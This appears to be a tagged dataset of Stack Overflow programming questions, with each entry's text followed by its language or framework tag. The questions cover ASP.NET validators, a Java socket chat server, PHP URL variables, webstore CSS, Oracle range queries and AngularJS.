why can t i validate values with the $ symbol in it   i am using a comparevalidator to check user input on one of my forms but for some reason it will not allow me to enter a dollar sign.    <a href= http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.comparevalidator.aspx  rel= nofollow noreferrer >according to msdn</a> the currency data type in the compare validator allows:    <blockquote>    a decimal data type that can contain   currency symbols.  </blockquote>   i am using the control below to validate:   <pre><code>&lt;asp:comparevalidator id= vld_cash  runat= server  controltovalidate= cashtextbox  type= currency  operator= datatypecheck  validationgroup= vld_update  errormessage= the value entered for  cash  must be in a number format.  do not include dollar signs.  examples: 500 or 500.00  /&gt; </code></pre>   i also added the following to my web.config just to be sure:   <pre><code>&lt;globalization culture= en-us  uiculture= en-us /&gt; </code></pre>   but it still says any input with a $ in it is invalid.  am i missing something here,asp.net
how would i close a jquery dialog when i click on something inside of it   how would i close a jquery dialog when i click on something inside of the dialog    <pre><code>$( content_in_the_dialog ).click(function(){     close the dialog  }); </code></pre>   something like that. so my question is what code should i input in there to close the dialog,jquery
list.remove() not working when removing this thread  so i m working on a server that handles a few commands and one small problem is trying to remove the list of active clients when a user decides to log out. each client is handled in a thread and once the command is done this active client gets removed however its not removing.    below is an example of removing an active client  this thread is    <pre><code>public class serverhandlerthread implements runnable {     private socket socket;     //private bufferedwriter clientout;     private objectoutputstream toclient;     private mainserver server;     private users user;      //constructor     serverhandlerthread(mainserver server  socket socket)     {         this.server = server;         this.socket = socket;     }      private objectoutputstream getwriter()     {         return toclient;     }      private void deleteclient(serverhandlerthread obj)     {         synchronized (server.clients)         {             server.clients.remove(obj);         }     }      @override     public void run ()     {         try         {             //setup i/o             toclient = new objectoutputstream(socket.getoutputstream());             objectinputstream fromclient = new objectinputstream(socket.getinputstream());              while(!socket.isclosed())             {                 //if server has received a message                 if(fromclient.available() &gt; 0)                 {                     //reads message and objects from client                     string input = fromclient.readutf();                     object obj = fromclient.readobject();                      //logger(input);                      switch (input)                     {                         //logout the user                         case  .logout :                             //set the user to being logged out and print the log                             user = (users) obj;                              deleteclient(this);                              for (int i = 0; i &lt; server.userslist.size(); i++)                             {                                 if (user.getusername().equals(server.userslist.get(i).getusername()))                                 {                                     server.userslist.get(i).setloggedin(false);                                     logger(user.getusername() +   has logged out );                                 }                             }                              break;                          //push message received to other clients                         default:                             logger( sending message to clients );                             user = (users) obj;                              deleteclient(this);                               logger( clients size is:   + string.valueof(server.clients.size()));                              for (serverhandlerthread thatclient : server.getclients())                             {                                 objectoutputstream thatclientout = thatclient.getwriter();                                 if (thatclientout != null)                                 {                                     thatclientout.writeutf(user.getusername() +  :   + input +  \r\n );                                     thatclientout.flush();                                 }                             }                             break;                     }                 }              }         }         catch (ioexception | classnotfoundexception e)         {             e.printstacktrace();         }     } } </code></pre>   <code>server</code> is of type <code>mainserver</code> which contains the list of clients and is written as <code>list&lt;serverhandlerthread&gt; clients</code>. <code>mainserver</code> calls <code>serverhandlerthread</code> when a new client is accepted ie. making the server multithread.    the problem is when the clients requests to logout it should delete the user from the active client list. it doesn t and so when the server tries to push messages to all clients it also tried to write a message to the client who s socket has been closed(user who logged out) and so the server spits out a <code>broken pipe</code> error. any ideas      <strong>*edit</strong> more information on the mainserver class  omitted a few things but this should be enough information   <pre><code>public class mainserver {      //static variables     private static final int portnumber = 4444;      //variables     private int serverport;     private list&lt;serverhandlerthread&gt; clients;      /**      * very basic logger that prints out      * the current time and date      * @param msg used when printing the log      */     private void logger(string msg)     {         system.out.println(localdate.now()+     +localtime.now() +   -   +msg);     }      private list&lt;serverhandlerthread&gt; getclients()     {         return clients;     }      //starts the server and begins accepting clients     private void startserver()     {         clients = new arraylist&lt;&gt;();         serversocket serversocket;         try         {             serversocket = new serversocket(serverport);             acceptclients(serversocket);         }         catch (ioexception e)         {             logger( could not listen on port:   + serverport);             system.exit(1);         }     }      //continuously accept clients     private void acceptclients(serversocket serversocket)     {         logger( server starts port =   + serversocket.getlocalsocketaddress());         while (true)         {             try             {                 socket socket = serversocket.accept();                 //logger( accepts:   + socket.getremotesocketaddress());                 serverhandlerthread client = new serverhandlerthread(this  socket);                 thread thread = new thread(client);                 thread.setdaemon(true);                 thread.start();                  synchronized(clients)                 {                     clients.add(client);                 }               }             catch (ioexception e)             {                 system.err.println( accept failed on:  + serverport);             }         }     }      public mainserver(int portnumber)     {         this.serverport = portnumber;     }      public static void main(string[] args)      {         mainserver server  = new mainserver(portnumber);         server.startserver();      } } </code></pre>   <strong>*edit 2</strong> so i ve made a little method that synchronizes the client list accross all threads and edited the mainserver to do this as-well but the problem persists   <pre><code>private void deleteclient(serverhandlerthread obj) {     synchronized (server.clients)     {         server.clients.remove(obj);     } } </code></pre>,java
java -version vs java -fullversion  what are the differences between <code>java -version</code> and <code>java -fullversion</code>     the two do not seem to line up on my machine.   <pre><code>c:\users\kmort&gt;java -fullversion     java full version  1.8.0_20-b26   c:\users\kmort&gt;java -version     java version  1.8.0_25      java(tm) se runtime environment (build 1.8.0_25-b18)     java hotspot(tm) 64-bit server vm (build 25.25-b02  mixed mode) </code></pre>   <a href= http://www.oracle.com/technetwork/java/javase/jdk7-naming-418744.html  rel= nofollow noreferrer >this link (at the bottom)</a> seems to indicate that <code>fullversion</code> simply includes the build number. if that s true  what to i end up with a different answer when i run the two     note that <a href= http://docs.oracle.com/javase/8/docs/technotes/tools/windows/java.html  rel= nofollow noreferrer >this documentation</a> neglects to refer to <code>fullversion</code> entirely.    i am running on 64 bit windows 7. if it helps  here is a screenshot of the jdk and jre installs i have on my machine.    <img src= https://i.stack.imgur.com/wk8ro.png  alt= enter image description here >    update   <hr>   when i run window s <code>where</code> command  i get the following:   <pre><code>c:\users\kmort&gt;where java c:\windows\system32\java.exe c:\programdata\oracle\java\javapath\java.exe c:\program files\java\jdk1.8.0_25\bin\java.exe </code></pre>   the problem is with the <code>java.exe</code> located in <code>system32</code>. if i rename that one to something else  things work as expected. and the oracle one is just symbolic links to the last one.    so now the question is why does this happen with a <code>java.exe</code> in my <code>system32</code> folder  (my endgame will be to delete <code>java.exe</code> from the <code>system32</code> folder  but i d like to understand what s going on first.)    update 2   <hr>   using process monitor  i can see that when i run either command on the offending <code>c:\windows\system32\java.exe</code> this is the executable that is run (see the screenshot of it calling <code>loadimage</code> on <code>c:\windows\system32\java.exe</code>). there are also a few references to <code>c:\windows\syswow64\java.exe</code> in both of them. i m not sure why.    <img src= https://i.stack.imgur.com/fpphm.png  alt= enter image description here >    also note that it appears my registry is correct. currentversion is 1.8. <img src= https://i.stack.imgur.com/qbouc.png  alt= enter image description here >    one other note  the timestamp on <code>c:\windows\system32\java.exe</code> is on a day that i know i installed a jre.,java
passing variable through url and checking it <pre><code>&lt;html&gt; &lt;head&gt; &lt;body&gt; &lt;  if($mail ==  yes ){ echo  &lt;script&gt;alert( hello )&lt;/script&gt; ; }  &gt; &lt;a href= test.php mail=yes &gt;click&lt;/a&gt; &lt;/body&gt; &lt;/head&gt; &lt;/html&gt; </code></pre>   why doesn t the page give me an alert when i click the link  does php recognize the variable i m trying to pass or do i need to do something else,php
can not copy file from resources folder to documents folder  <img src= https://i.stack.imgur.com/t1fls.png  alt= enter image description here >    here is my code:   <pre><code>- (void)copyfileifneeded {     nsfilemanager *filemanager= [nsfilemanager defaultmanager];     nserror *error;     nsstring *filepath = [self getfile];    bool success = [filemanager fileexistsatpath:filepath];    if ( !success )    {         nsstring *defaultfilepath = [[[nsbundle mainbundle] resourcepath] stringbyappendingpathcomponent:@ bqwdatabase.db ];         success = [filemanager copyitematpath:defaultfilepath topath:filepath error:&amp;error];     } }  - (nsstring *)getfile {     nsarray *paths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);     nsstring *documentsdir = [paths objectatindex:0];     return [documentsdir stringbyappendingpathcomponent:@ bqwdatabase.db ];  }  - (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions {     // override point for customization after application launch.     [self copyfileifneeded];      return yes; } </code></pre>   but the documents folder is always empty  how can i fix this  thank you.    edit:    <img src= https://i.stack.imgur.com/4vbtv.png  alt= enter image description here >,ios
html to pdf convertion in asp.net  i wanted to convert a html page as it is to a pdf format in asp.net 3.5. i have many images and tables.the alignment of these images and tables should not be changed while conveting to pdf.,asp.net
remove white background of transparent image  i m currently working on launching my webstore from a template. as i upload my custom png images with transparent background  on the home page it still shows the image with a white background around it.    i ve tried altering it using ccs and html however was unable to.    here you can see the problem:    <a href= https://i.stack.imgur.com/ebiky.png  rel= nofollow noreferrer >image</a>    <a href= https://i.stack.imgur.com/szicf.png  rel= nofollow noreferrer >transparent image</a>    and here it is the code (css):   <pre><code>--------------------------------------------- */ body {   color: {{theme.primary_color}};   font-family:  {{theme.text_font}}   sans-serif;   font-size: 62.5%;   -webkit-text-size-adjust: none;   text-rendering: optimizelegibility;   cursor: default; }  input  textarea {   color: {{theme.primary_color}};   font-family:  {{theme.text_font}}   sans-serif;   -webkit-font-smoothing: antialiased; }  a {   color: {{theme.primary_color}};   text-decoration: none; }  a:hover {   color: {{theme.primary_color}}; }  p  .main ul  .main ol  .main table  label {   font-size: 16px;   line-height: 24px; }  .main p a {   text-decoration: underline; }  .main p a:hover {   text-decoration: underline;   background: {{theme.highlight_color}}; }  h1  h2  h3 {   font-family:  {{theme.header_font}}   sans-serif; }  h1 {   font-size: 50px;   line-height: 1.4em;   margin: 0 0 30px;   text-align: center; }  h2 {   font-size: 30px;   line-height: 1.4em; }  h3 {   font-size: 22px;   line-height: 1.4em;   -webkit-transform: translatez(0);   -moz-transform: translatez(0);   -ms-transform: translatez(0);   -o-transform: translatez(0);   transform: translatez(0); }  h4 {   font-size: 12px;   line-height: 1.3em;   text-transform: uppercase;   letter-spacing: 0.09em;   font-weight: 700; }  .highlight {   font-size: 18px;   font-weight: 700;   line-height: 24px;   color: {{theme.primary_color}};   background: {{theme.highlight_color}};   padding: 6px 12px;   border-radius: 5px; }  ul.bullets {   font-size: 15px;   line-height: 22px;   margin-left: 18px; }  ul.bullets li {   list-style: disc; }  /* global layout --------------------------------------------- */ html {   overflow-y: scroll;   position: relative; }  html  body {   height: 100%; }  body {   background-color: {{theme.background_color}};   background-image: {% if theme.images.background != blank %} url( {{ theme.images.background.url }} ) {% else %} none {% endif %}; }  .wrapper {   min-height: 100%;   /* equal to footer height */   margin-bottom: -80px; }  .wrapper:after {   content:   ;   display: block;   /* equal to footer height */   height: 80px; }  .inner {   max-width: 1200px;   min-width: 280px;   margin: 0 auto;   position: relative; }  .main .inner {   margin-top: 130px; }  /* modules --------------------------------------------- */ /* buttons */ .btn {   display: inline-block;   padding: 15px 20px;   font-family:  {{theme.text_font}}   sans-serif;   font-size: 20px;   line-height: 22px;   color: {{theme.primary_color}};   border: 3px solid {{theme.primary_color}};   background: none;   text-align: center;   border-radius: 5px;   font-weight: 700;   text-transform: uppercase;   cursor: pointer;   -webkit-touch-callout: none;   -webkit-user-select: none;   -khtml-user-select: none;   -moz-user-select: none;   -ms-user-select: none;   user-select: none; }  .btn:hover {   background: {{theme.primary_color}};   color: {{theme.background_color}}; }  .btn-inactive:hover {   background: none;   color: {{theme.primary_color}}; }  /* badges */ .badge {   height: 80px;   width: 80px;   font-size: 14px;   line-height: 18px;   text-align: center;   text-transform: uppercase;   border-radius: 70px;   display: table;   -webkit-transform: translatez(0);   -moz-transform: translatez(0);   -ms-transform: translatez(0);   -o-transform: translatez(0);   transform: translatez(0); }  .badge span {   display: table-cell;   vertical-align: middle;   -webkit-transform: translatez(0);   -moz-transform: translatez(0);   -ms-transform: translatez(0);   -o-transform: translatez(0);   transform: translatez(0); }  .badge-empty {   color: {{theme.primary_color}};   border: 3px solid {{theme.primary_color}}; }  .badge-filled {   color: {{theme.primary_color}};   background: {{theme.background_color}};   border: 3px solid {{theme.background_color}}; }  /* errors */ .errors {   margin-bottom: 20px;   padding: 15px;   border-radius: 5px;   text-align: center;   background: {{theme.highlight_color}}; }  .errors li {   margin-top: 10px; }  .errors li:first-child {   margin-top: 0; }  /* pagers */ .cycle-pager {   position: absolute;   left: 24px;   bottom: 24px;   z-index: 400; }  .cycle-pager &gt; span {   display: inline-block;   width: 13px;   height: 13px;   padding: 6px;   cursor: pointer; }  .cycle-pager &gt; span &gt; span {   display: inline-block;   width: 7px;   height: 7px;   border-radius: 20px;   text-indent: -999px;   background: {{theme.highlight_color}};   border: 3px solid {{theme.primary_color}};   position: relative;   -webkit-transition: background 300ms;   -moz-transition: background 300ms;   -o-transition: background 300ms;   transition: background 300ms; }  .cycle-pager span.cycle-pager-active span {   background: {{theme.primary_color}};   -webkit-transition: background 300ms;   -moz-transition: background 300ms;   -o-transition: background 300ms;   transition: background 300ms; }  /* header --------------------------------------------- */ header {   background: {{theme.background_color}};   border-bottom: 6px solid {{theme.primary_color}};   position: fixed;   top: 0;   width: 100%;   z-index: 501; }  .maintenance_on header {   top: 27px; }  header .inner {   height: 70px;   position: relative; }  .wordmark {   float: left;   font-family:  {{theme.header_font}}   sans-serif;   font-size: 22px;   line-height: 30px;   margin-top: 24px; }  .logo {   display: block;   float: left;   height: 70px;   width: 300px;   background-image: {% if theme.images.logo != blank %} url( {{ theme.images.logo.url | constrain:  600    140  }} ) {% else %} none {% endif %};   background-size: contain;   background-position: center left;   background-repeat: no-repeat; }  .logo img {   height: 100%;   width: auto; }  .nav-main {   position: absolute;   bottom: 0;   right: 0;   height: 70px;   z-index: 500; }  .nav-main a  .nav-main &gt; ul &gt; li &gt; span {   font-size: 12px;   color: {{theme.primary_color}};   text-transform: uppercase;   letter-spacing: 0.09em;   font-weight: 700; }  .nav-main &gt; ul {   float: left;   display: block;   height: 70px; }  .nav-main &gt; ul &gt; li {   float: left;   display: block;   list-style: none;   position: relative; }  .nav-main &gt; ul &gt; li &gt; a  .nav-main &gt; ul &gt; li &gt; span {   display: block;   height: 12px;   padding: 29px 25px; }  .nav-main &gt; ul &gt; li.active &gt; a  .nav-main &gt; ul &gt; li.active &gt; span {   background: {{theme.primary_color}};   color: {{theme.background_color}}; }  .nav-main .dropdown {   visibility: hidden;   opacity: 0;   position: absolute;   top: 70px;   padding: 6px 0 0 0;   right: 0px;   background: {{theme.primary_color}};   text-align: right;   overflow: hidden;   border-bottom-left-radius: 5px;   border-bottom-right-radius: 5px; }  .nav-main &gt; ul &gt; li.active .dropdown {   visibility: visible;   opacity: 1; }  .icon-cart {   font-size: 40px; }  .nav-main .dropdown li {   display: block;   line-height: 18px; }  .nav-main .dropdown li a {   display: block;   color: {{theme.background_color}};   padding: 15px 20px;   min-width: 200px; }  .nav-main .dropdown li a:hover {   color: {{theme.background_color}};   background: {{theme.highlight_color}};   color: {{theme.primary_color}}; }  .nav-caret {   text-transform: lowercase;   font-size: 7px;   position: relative;   display: inline-block;   top: -2px;   -webkit-transform: scalex(1.5);   -moz-transform: scalex(1.5);   -ms-transform: scalex(1.5);   -o-transform: scalex(1.5);   transform: scalex(1.5); }  .mobile-nav-trigger {   display: none; }  .cart-status {   float: left;   padding: 0;   width: 70px;   height: 70px;   -webkit-transform: scale(1  1);   -moz-transform: scale(1  1);   -ms-transform: scale(1  1);   -o-transform: scale(1  1);   transform: scale(1  1);   -webkit-transition: all 100ms ease-in-out;   -moz-transition: all 100ms ease-in-out;   -o-transition: all 100ms ease-in-out;   transition: all 100ms ease-in-out; }  @-webkit-keyframes orbpulse {   0% {     -webkit-transform: scale(1);   }    25% {     -webkit-transform: scale(2);   }    50% {     -webkit-transform: scale(1);   }    75% {     -webkit-transform: scale(1.2);   }    100% {     -webkit-transform: scale(1);   } }  @-moz-keyframes orbpulse {   0% {     -moz-transform: scale(1);   }    25% {     -moz-transform: scale(2);   }    50% {     -moz-transform: scale(1);   }    75% {     -moz-transform: scale(1.2);   }    100% {     -moz-transform: scale(1);   } }  @-o-keyframes orbpulse {   0% {     -o-transform: scale(1);   }    25% {     -o-transform: scale(2);   }    50% {     -o-transform: scale(1);   }    75% {     -o-transform: scale(1.2);   }    100% {     -o-transform: scale(1);   } }  @keyframes orbpulse {   0% {     transform: scale(1);   }    25% {     transform: scale(2);   }    50% {     transform: scale(1);   }    75% {     transform: scale(1.2);   }    100% {     transform: scale(1);   } }  .cart-orb {   height: 60px;   width: 60px;   border-radius: 80px;   background: {{theme.highlight_color}};   position: absolute;   top: 5px;   right: 5px;   position: absolute;   z-index: 505;   -webkit-transition: -webkit-transform 100ms ease-in-out;   -moz-transition: -moz-transform 100ms ease-in-out;   -o-transition: -o-transform 100ms ease-in-out;   transition: transform 100ms ease-in-out; }  .cart-status .cart-orb {   -webkit-transform: scale(0  0);   -moz-transform: scale(0  0);   -ms-transform: scale(0  0);   -o-transform: scale(0  0);   transform: scale(0  0);   -webkit-transition: -webkit-transform 100ms ease-in-out;   -moz-transition: -moz-transform 100ms ease-in-out;   -o-transition: -o-transform 100ms ease-in-out;   transition: transform 100ms ease-in-out; }  .cart-status:hover .cart-orb {   -webkit-transform: scale(1.6  1.6);   -moz-transform: scale(1.6  1.6);   -ms-transform: scale(1.6  1.6);   -o-transform: scale(1.6  1.6);   transform: scale(1.6  1.6);   -webkit-transition: -webkit-transform 100ms ease-out;   -moz-transition: -moz-transform 100ms ease-out;   -o-transition: -o-transform 100ms ease-out;   transition: transform 100ms ease-out; }  /* disable orb on cart pages */ .cart .cart-status:hover .cart-orb {   display: none; }  .cart-count {   display: block;   text-align: center;   margin-top: 16px;   margin-bottom: -2px;   padding-right: 5px;   position: relative;   z-index: 510;   -webkit-transition: all 100ms;   -moz-transition: all 100ms;   -o-transition: all 100ms;   transition: all 100ms; }  .icon-cart {   display: block;   margin: 0 auto;   width: 40px;   height: 40px;   position: relative;   top: -4px;   z-index: 510; }  .cart-status .cart-count-animate {   -webkit-transform: translate(0  16px);   -moz-transform: translate(0  16px);   -ms-transform: translate(0  16px);   -o-transform: translate(0  16px);   transform: translate(0  16px);   -webkit-transition: all 100ms;   -moz-transition: all 100ms;   -o-transition: all 100ms;   transition: all 100ms; }  .cart-status .cart-orb-animate {   -webkit-transform: scale(1.6  1.6);   -moz-transform: scale(1.6  1.6);   -ms-transform: scale(1.6  1.6);   -o-transform: scale(1.6  1.6);   transform: scale(1.6  1.6);   -webkit-transition: -webkit-transform 150ms ease-out;   -moz-transition: -moz-transform 150ms ease-out;   -o-transition: -o-transform 150ms ease-out;   transition: transform 150ms ease-out; }  .nav-mobile {   display: none; }  }  .color-block-products {   width: 70%;   height: 70%;   position: fixed;   left: 0;   bottom: 0;   z-index: -1;   background-color: {{theme.accent_color}};   background-image: {% if theme.images.accent != blank %} url( {{ theme.images.accent.url }} ) {% else %} none {% endif %}; }  .preview {   width: 300px; }  .rand-0 {   width: 330px;   top: 40px; }  .rand-0 .badge-view {   bottom: 20px;   right: 20px; }  .rand-0 .badge-status {   top: 20px;   left: 20px; }  .rand-1 {   width: 280px;   top: 20px; }  .rand-1 .badge-view {   top: 21%;   right: -20px; }  .rand-1 .badge-status {   bottom: 20%;   left: -20px; }  .rand-2 {   width: 350px;   top: 0px; }  .rand-2 .badge-view {   top: 30%;   right: 20px; }  .rand-2 .badge-status {   top: 8%;   left: 20px; }  .rand-3 {   width: 320px;   top: 40px; }  .rand-3 .badge-view {   bottom: 20%;   left: -20px; }  .rand-3 .badge-status {   top: 10%;   right: -20px; }  .rand-4 {   width: 400px;   top: -20px; }  .rand-4 .badge-view {   top: 20%;   left: -20px; }  .rand-4 .badge-status {   bottom: 15%;   right: 20px; }  .rand-5 {   top: 20px; }  .rand-5 .badge-view {   top: 20px;   left: 20px; }  .rand-5 .badge-status {   top: -20px;   right: -20px; }  .rand-6 {   width: 330px;   top: 0px; }  .rand-6 .badge-view {   top: -20px;   right: 20px; }  .rand-6 .badge-status {   bottom: 10%;   left: -20px; }  .home-slideshow-wrap {   max-width: 1200px;   margin: 76px auto 0;   position: relative; }  .home-slideshow {   margin-left: 80px;   -webkit-transform: translatez(0);   -moz-transform: translatez(0);   -ms-transform: translatez(0);   -o-transform: translatez(0);   transform: translatez(0); }  .slideshow-stripe {   width: 80px;   height: 90%;   position: absolute;   top: 0;   left: 0;   background: {{theme.highlight_color}}; }  /* categories / artists */ .products .main .inner {   margin-top: 130px;   text-align: center; }  /* extra large */ @media only screen and (min-width: 1600px) {   .home-slideshow-wrap {     max-width: 1480px;   } } /* large */ @media only screen and (max-width: 1245px) {   .preview {     margin: 0 15px 70px 15px;   }    .preview {     width: 200px;   }    .meta {     padding: 0 0 20px 0;     text-align: center;   }    .meta .price {     float: none;     display: inline-block;     margin: 0 0 -5px 0;     position: relative;     top: -20px;   }    .rand-0 {     width: 240px;     top: 40px;   }    .rand-1 {     width: 200px;     top: 20px;   }    .rand-2 {     width: 250px;     top: 0px;   }    .rand-3 {     width: 220px;     top: 40px;   }    .rand-4 {     width: 300px;     top: -20px;   }    .rand-5 {     top: 20px;   }    .rand-6 {     width: 230px;     top: 0px;   }    .pagination {     font-size: 32px;   } } /* medium */ @media only screen and (max-width: 880px) {   /* home */   .home-slideshow-wrap {     margin: 0 auto;   }    .home-slideshow {     margin-left: 0;   }    .slideshow-stripe {     display: none;   }    /* categories / artists */   .products .main .inner {     margin-top: 50px;   } } /* small */ @media only screen and (max-width: 700px) {   .preview {     margin: 0 15px 20px 15px;   }    .rand-0 {     width: 210px;     top: 0;   }    .rand-1 {     width: 200px;     top: 0;   }    .rand-2 {     width: 230px;     top: 0;   }    .rand-3 {     width: 210px;     top: 0;   }    .rand-4 {     width: 190px;     top: 0;   }    .rand-5 {     width: 210px;     top: 0;   }    .rand-6 {     width: 230px;     top: 0;   }    .pagination {     font-size: 22px;     margin-bottom: 60px;   }    /* categories / artists */   .products .main .inner {     margin-top: 40px;     text-align: center;   } } /* extra small */ @media only screen and (max-width: 420px) {   /* products */   .preview {     margin: 0 0 20px 0;   }    .rand-0 {     width: 260px;     top: 0;   }    .rand-1 {     width: 250px;     top: 0;   }    .rand-2 {     width: 280px;     top: 0;   }    .rand-3 {     width: 260px;     top: 0;   }    .rand-4 {     width: 210px;     top: 0;   }    .rand-5 {     width: 280px;     top: 0;   }    .rand-6 {     width: 240px;     top: 0;   }    .pagination {     padding: 0 40px;   } } .product .main .inner {   margin-top: 76px; }  .product .wrapper {   overflow: hidden; }  .product .images {   float: right;   width: 66%;   background-color: {{theme.accent_color}};   background-image: {% if theme.images.accent != blank %} url( {{ theme.images.accent.url }} ) {% else %} none {% endif %}; }  .product .images-inner {   position: relative; }  .product .color-block {   width: 2000%;   height: 2000%;   position: absolute;   top: 0;   left: 0;   background-color: {{theme.accent_color}};   background-image: {% if theme.images.accent != blank %} url( {{ theme.images.accent.url }} ) {% else %} none {% endif %};   z-index: -1; }  .slideshow {   position: relative;   overflow: hidden;   background-color: {{theme.accent_color}};   background-image: {% if theme.images.accent != blank %} url( {{ theme.images.accent.url }} ) {% else %} none {% endif %}; }  .slideshow img {   display: block;   width: auto;   max-width: 100%; }  .product .details {   float: left;   width: 28%; }  .product h2 {   margin: 50px 0 0 0; }  .product h4 {   margin: 0 0 15px 0; }  .product .description {   margin: 30px 0 0 0; }  .product .errors {   margin: 30px 0 0 0; }  .product .description b  .product .description strong {   font-weight: bold; }  .product .description i  .product .description em {   font-style: italic; }  .static-option-list {   margin-bottom: 30px; }  .product .description p {   margin-bottom: 20px; }  .product .description p:last-child {   margin-bottom: 0; }  .badge-sale {   position: absolute;   top: 30px;   left: 30px;   z-index: 400; }  .product .price {   display: inline-block;   margin-top: 15px; }  .purchase {   margin-top: 30px; }  .social-links {   overflow: hidden;   margin-top: 30px;   margin-bottom: 15px; }  .social-links li {   float: left;   margin: 0 10px 10px 0; }  .social-links li a {   display: block;   background: {{theme.primary_color}};   color: {{theme.background_color}};   text-transform: uppercase;   font-weight: 700;   font-size: 12px;   letter-spacing: 0.09em;   padding: 5px 10px;   border-radius: 5px;   -webkit-touch-callout: none;   -webkit-user-select: none;   -khtml-user-select: none;   -moz-user-select: none;   -ms-user-select: none;   user-select: none; }  .social-links li a:hover {   color: {{theme.highlight_color}}; }  @-webkit-keyframes purchasepulse {   0% {     -webkit-transform: scale(1);   }    50% {     -webkit-transform: scale(1.2);   }    100% {     -webkit-transform: scale(1);   } }  @-moz-keyframes purchasepulse {   0% {     -moz-transform: scale(0.95);   }    50% {     -moz-transform: scale(1.2);   }    100% {     -moz-transform: scale(1);   } }  @-o-keyframes purchasepulse {   0% {     -o-transform: scale(0.95);   }    50% {     -o-transform: scale(1.2);   }    100% {     -o-transform: scale(1);   } }  @keyframes purchasepulse {   0% {     transform: scale(0.95);   }    50% {     transform: scale(1.2);   }    100% {     transform: scale(1);   } }  .btn-purchase {   display: block;   -webkit-transform: scale(1  1);   -moz-transform: scale(1  1);   -ms-transform: scale(1  1);   -o-transform: scale(1  1);   transform: scale(1  1);   -webkit-transition: -webkit-transform 100ms ease-in-out;   -moz-transition: -moz-transform 100ms ease-in-out;   -o-transition: -o-transform 100ms ease-in-out;   transition: transform 100ms ease-in-out; }  .btn-active:active {   -webkit-transform: scale(0.95  0.95);   -moz-transform: scale(0.95  0.95);   -ms-transform: scale(0.95  0.95);   -o-transform: scale(0.95  0.95);   transform: scale(0.95  0.95);   -webkit-transition: -webkit-transform 50ms ease-in-out;   -moz-transition: -moz-transform 50ms ease-in-out;   -o-transition: -o-transform 50ms ease-in-out;   transition: transform 50ms ease-in-out; }  .btn-pulse {   -webkit-transform: scale(1.2  1.2);   -moz-transform: scale(1.2  1.2);   -ms-transform: scale(1.2  1.2);   -o-transform: scale(1.2  1.2);   transform: scale(1.2  1.2);   -webkit-transition: -webkit-transform 100ms ease-in-out;   -moz-transition: -moz-transform 100ms ease-in-out;   -o-transition: -o-transform 100ms ease-in-out;   transition: transform 100ms ease-in-out; }  .btn-inactive:hover {   background: none;   color: {{theme.primary_color}};   cursor: default; }  .options {   border: 3px solid {{theme.primary_color}};   border-radius: 5px;   margin-bottom: 20px; }  .option-selected {   font-size: 15px;   line-height: 22px;   padding: 10px;   cursor: pointer;   position: relative; }  .option-selected:hover {   color: {{theme.background_color}};   background: {{theme.primary_color}}; }  .option-selected-name {   display: block;   margin-right: 30px;   font-size: 16px; }  .options-wrap {   height: 48px;   margin-bottom: 20px;   position: relative;   z-index: 10; }  .options-list {   background: {{theme.background_color}};   height: auto;   max-height: 200px;   overflow-y: auto;   -webkit-overflow-scrolling: touch; }  .options-list li {   display: block;   padding: 10px;   cursor: pointer; }  .options-list li:hover {   background: {{theme.primary_color}};   color: {{theme.background_color}}; }  .options .dropdown-caret {   position: absolute;   top: 50%;   right: 20px;   margin-top: -12px;   text-transform: lowercase;   font-size: 7px;   display: block;   font-weight: 700;   -moz-transform: scalex(1.5);   -ms-transform: scalex(1.5);   -o-transform: scalex(1.5);   -webkit-transform: scalex(1.5);   transform: scalex(1.5); }  /* large */ @media only screen and (max-width: 1245px) {   .product .main .inner {     margin-right: 0;   }    .product h2 {     margin-top: 30px;   } } /* medium */ @media only screen and (max-width: 880px) {   .product .main .inner {     margin-top: 0;   } } /* small */ @media only screen and (max-width: 700px) {   .product .details    .product .images {     float: none;     width: auto;   }    .product .images {     width: 100%;   }    .product .images-inner {     display: block;   }    .product .details {     text-align: center;     margin: 0 20px 20px 20px;   }    .product .description    .product .bullets {     text-align: left;   }    .product .color-block {     display: none;   }    .product .main .inner {     margin: 0;   }    .badge-sale {     top: 20px;     left: 20px;   } </code></pre>,html
oracle range query  i ve found this query on this site (slightly modified it though) and it works ok. however the result set doesn t show the range intervals where count(*) is 0. i tried to use the nvl function along with left joint  but couldn t make it work. any ideas  (see query below)    thanks   <pre><code>select     count(*)  # prs created  to_char(date_created   yyyy-mm-dd ) as  date created       to_char(date_created   hh24 ) ||  :00:00 -   || to_char(date_created + 1/24   hh24 ) ||  :00:00  range      from pr     where date_created between to_date(sysdate - 1000)and to_date(sysdate)     and 1 * to_char(date_created   hh24 ) between 0 and 24     group by to_char(date_created   hh24 )  to_char(date_created + 1/24   hh24 ) to_char(date_created   yyyy-mm-dd )     order by to_char(date_created   yyyy-mm-dd )  range  desc </code></pre>,sql
how do i use angularjs orderby and ng-repeat to iterate a list incrementally(10 second intervals)   how do i iterate over this list of people using age  starting at the youngest  i would like to stop on each age for 10 seconds before going to the next age. it should work like this all the ones are displayed  then ten seconds later all the twos are added to the display and so on. any help would be very much appreciated.   <pre><code>&lt;script&gt; angular.module( orderbyexample   []) .controller( examplecontroller   [ $scope   function($scope) {   $scope.friends =       [{name: john   phone: 555-1212   age:1}         {name: mary   phone: 555-9876   age:1}         {name: mike   phone: 555-4321   age:2}         {name: adam   phone: 555-5678   age:3}         {name: julie   phone: 555-8765   age:4}]; }]); &lt;/script&gt;  &lt;div ng-controller= examplecontroller &gt;   &lt;table class= friend &gt; &lt;tr&gt;   &lt;th&gt;name&lt;/th&gt;   &lt;th&gt;phone number&lt;/th&gt;   &lt;th&gt;age&lt;/th&gt; &lt;/tr&gt; &lt;tr ng-repeat= friend in friends | orderby: -age  &gt;   &lt;td&gt;{{friend.name}}&lt;/td&gt;   &lt;td&gt;{{friend.phone}}&lt;/td&gt;   &lt;td&gt;{{friend.age}}&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/div&gt; </code></pre>,angularjs
why does my web site prompt for a username password when custom errors mode is on  while navigating my site with custom errors mode set to off it behaves normal. if i turn i turn custom errors mode to on  then my first visit to the site prompts me with a username password dialog box.     the entire site is enforced with ssl if that matters. where should i start looking  is this possibly an iis issue  i m not sure why setting custom errors mode to on/off would invoke this type of behavior.,asp.net
